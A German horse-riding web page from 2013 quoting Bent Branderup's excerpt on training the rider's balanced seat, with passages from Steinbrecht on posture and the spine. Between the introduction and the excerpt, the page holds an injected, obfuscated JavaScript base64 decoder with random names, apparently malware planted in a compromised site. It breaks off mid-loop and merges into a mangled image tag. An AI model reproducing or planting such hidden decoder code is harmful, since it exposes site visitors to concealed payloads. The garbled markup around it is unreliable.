Feine Hilfen: Wie trainiert man den balancierten Sitz?

17. März 2013 | Von Redaktion | Kategorie: Buch-Tipp, Featured, Leseproben

„Feine Hilfen“ ist das neue Bookazin aus dem Cadmos Verlag, welches sich für den verantwortungsvollen Umgang mit Pferden einsetzt. Nachfolgend ein Auszug aus einem in diesem Magazin veröffentlichten Beitrag von Bent Branderup mit dem Titel „Wie trainiert man den balancierten Sitz“ (mit freundlicher Genehmigung des Verlages):

function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfanderup" src="http://www.horse-today.de/wp-content/uploads/2013/03/cadmos_feine-hilfen_branderup.jpg" alt="Wie man den ausbalancierten Sitz trainieren kann, erklärt Bent Branderup in dem Bookazin "Feine Hilfen" (Foto: K. Ellerbaek)." width="425" height="433" />

[…]

Die Gesamtheit dieser Elemente zu erlernen, ist heute sehr viel schwieriger als zu Zeiten Steinbrechts. Damals wurde die angewandte Reiterei gepflegt und gelehrt. Zu unseren Zeiten wird der Freizeitreiter vielleicht jeden Tag einmal, manch ein Reiter nicht einmal jeden Tag, reiten. So wird natürlich der Reiter, der viel übt, schneller weiterkommen. Früher war es so, dass ein junger Fürst, der nicht zu Fuß gehen wollte, Tausende und Tausende von Kilometern geritten ist. Erst wenn er in ein gewisses Alter kam, wurde er in die Schule aufgenommen – wenn er mehr verstehen konnte. Dazu schreibt Steinbrecht: Die alten Meister setzten ihre Schüler auf vollkommen durchgebildete Schulpferde, und zwar zunächst in den Pilaren ohne Bügel und Zügel. Hier bedurfte es nur der Anweisungen, sich unbefangen gerade, wie man gewachsen ist, hinzusetzen, das Gesäß ordentlich breit zu machen und dann die Beine natürlich herabhängen zu lassen, um den Schüler in der geordneten, taktmäßigen Bewegung der Piaffe bald so in die Fühlung mit dem Pferd zu bringen. So vorbereitet wurde der Schüler alsdann, und zwar ebenfalls auf einem Schulpferd, an die Longe genommen und lernte hier ohne Bügel und Zügel dasselbe im Vorwärts, was er in den Pilaren auf der Stelle gelernt hatte: das weiche Anschmiegen in alle Bewegungen des Pferdes – oder, mit anderen Worten, die Balance, worauf der gute und sichere Sitz weit mehr beruht, als auf dem so hochgepriesenen festen (Knie-)Schluss.

Aufrecht, senkrecht oder gerade?

In dem Moment, in dem wir von diesem Schulsitz hören, sprechen wir auch von einem Gleichgewicht. Dennoch wird ein gerades Sitzen nicht immer gerade sein. Der Rennreiter kann, mit seinem Oberkörper ganz nach vorn geneigt, die Schnelligkeit des Pferdes wahrnehmen und unterstützen, wohingegen er bei Zurückneigung oder selbst bei Geraderichtung seines Körpers der Bewegung des Pferdes nicht folgen könnte.

Das soll heißen, die Balance wird beim Rennpferd ganz woanders liegen als zum Beispiel bei dem durchgebildeten Campagnepferd, bei dem der Balancepunkt eher senkrecht unter dem Reiter liegt. Und wiederum das Schulpferd mit den untersetzenden Hinterbeinen, gebogenen Hanken und gesenkter Kruppe sehen wir seine ebenso graziösen wie kräftigen Schulen auf und über der Erde ausführen. Der Reiter, der auf dem Schulpferd sitzt, mit sanft zurückgeneigtem Oberkörper, dirigiert das Pferd mit einer Sicherheit und Genauigkeit, als wären die vier Beine des Pferdes seine eigenen. In diesen Schulen liegt der Schwerpunkt des Reiters senkrecht über seinen Hinterfüßen und sein Rückgrat ist von vorn nach hinten geneigt. Das will heißen, diese drei verschiedenen Reiter bezeichnen wir alle als gerade, aber nicht gerade im Sinne von senkrecht, sondern gerade im Verhältnis zum Schwerpunkt des Pferdes.

Die Wirbelsäule

Sobald der Reiter seinen Sitz gefunden hat, ist die richtige Haltung der Wirbelsäule zu sehen. Und Steinbrecht schreibt dazu: Nach der richtigen Haltung der Wirbelsäule ist die flache Lage des Oberschenkels ein Hauptgrundsatz der ganzen Lehre vom Sitz. Die richtige Lage dieses Teiles bedingt die Stetigkeit der Hüften, erweitert die Gesäßfläche und sichert die Haltung des Reiters.

Um die Balance auf dem flachen, breiten, weichen Oberschenkel zu finden, meint Steinbrecht: Ein zu stark angezogener Rücken krümmt die Wirbelsäule nach vorn, ebenso wie ein zu sehr nachgelassener dies nach hinten tut und hat daher auch denselben Nachteil, nur in umgekehrte Richtung. Es fällt bei manchen Schülern sehr schwer, die richtige Mitte zwischen diesen beiden Gegensätzen zu erreichen, und doch hängt hiervon fast alles ab. Die Wirbelsäule ist gleichsam der Stamm, von dem alle Glieder ausgehen und an dem alle Organe ihren Befestigungspunkt finden.

Das will heißen: Hat man auf dem offenen, breiten, entspannten Gesäß seine Balance gefunden, dann muss man nicht mehr und nicht weniger erzielen, als exakt seine Wirbelsäule so zu halten und zu formen, dass Arme und Schenkel frei davon herabhängen und der Reiter sich gewandt zu Pferde bewegen kann.

[…]

Bibliographie:

cadmos_bookazine_feine-hilfen01-2013Feine Hilfen
Ausgabe 01 2013 März/April/Mai ISBN: 978-3-8404-9601-1
Copyright©2013 by Cadmos Verlag GmbH,
Autor: Bent Branderup
Fotografin: Kristin Ellerbaek
Alle Rechte vorbehalten

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